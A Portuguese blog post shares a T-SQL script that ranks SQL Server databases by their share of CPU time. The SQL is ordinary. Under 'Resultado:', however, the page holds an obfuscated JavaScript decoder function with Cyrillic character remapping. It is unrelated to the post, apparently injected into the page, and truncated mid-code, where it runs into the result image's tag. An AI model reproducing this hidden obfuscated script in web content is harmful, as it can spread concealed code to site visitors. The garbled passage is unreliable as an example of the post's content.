«

»

nov 14

Consumo de CPU por base

Pra quem gerencia instâncias com mais de uma base, fica fácil evidenciar. Hoje logo cedo precisei identificar qual base de um servidor era a maior responsável pelo consumo de CPU. Este script é uma baita de uma mão na roda:

 

WITH DB_CPU_Stats

AS
(SELECT DatabaseID, DB_Name(DatabaseID) AS [DatabaseName], SUM(total_worker_time) AS [CPU_Time_Ms]
FROM sys.dm_exec_query_stats AS qs
CROSS APPLY (SELECT CONVERT(int, value) AS [DatabaseID]
FROM sys.dm_exec_plan_attributes(qs.plan_handle)
WHERE attribute = N'dbid') AS F_DB
GROUP BY DatabaseID)
SELECT ROW_NUMBER() OVER(ORDER BY [CPU_Time_Ms] DESC) AS [row_num],
DatabaseName, [CPU_Time_Ms],
CAST([CPU_Time_Ms] * 1.0 / SUM([CPU_Time_Ms]) OVER() * 100.0 AS DECIMAL(5, 2)) AS [CPUPercent]
FROM DB_CPU_Stats
WHERE DatabaseID > 4 -- system databases
AND DatabaseID <> 32767 -- ResourceDB
ORDER BY row_num OPTION (RECOMPILE);

 

Resultado:

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand_CPU_utilization" src="http://sqldicas.com.br/wp-content/uploads/2012/05/databases_and_CPU_utilization1.png" alt="" width="378" height="145" />.

Deixe uma resposta